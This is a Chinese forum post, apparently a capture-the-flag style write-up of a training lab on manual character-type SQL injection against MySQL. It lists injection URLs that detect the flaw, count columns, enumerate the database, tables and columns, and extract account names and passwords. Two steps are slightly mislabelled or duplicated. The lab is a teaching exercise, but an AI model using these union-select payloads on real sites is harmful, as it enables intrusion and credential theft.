马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
声明
环境
墨者学院-SQL手工注入漏洞测试(MySQL数据库-字符型)
判断是否存在漏洞
- http://124.70.64.48:42937/new_list.php?id=tingjigonggao' and '1'='2'--+
复制代码
and '1'='1'正常
- http://124.70.64.48:42937/new_list.php?id=tingjigonggao' and '1'='2'--+
复制代码
and '1'='2'堕落,存在字符型注入漏洞
判断字段数
- http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,3,4 --+
复制代码 字段数判断为4
爆数据库
- http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,database(),4 --+
复制代码 爆出数据库mozhe_discuz_stormgroup
- http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'stormgroup_member'--+
复制代码 爆表
- http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = 'mozhe_discuz_stormgroup'--+
复制代码 爆出数据表notice和stormgroup_member,分析stormgroup_member表包罗账号密码
爆字段
- http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'stormgroup_member'--+
复制代码 爆出表stormgroup_member的全部字段id、name、password、status
爆数据
- http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,group_concat(id,',',name,',',password),4 from stormgroup_member where id=1--+
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |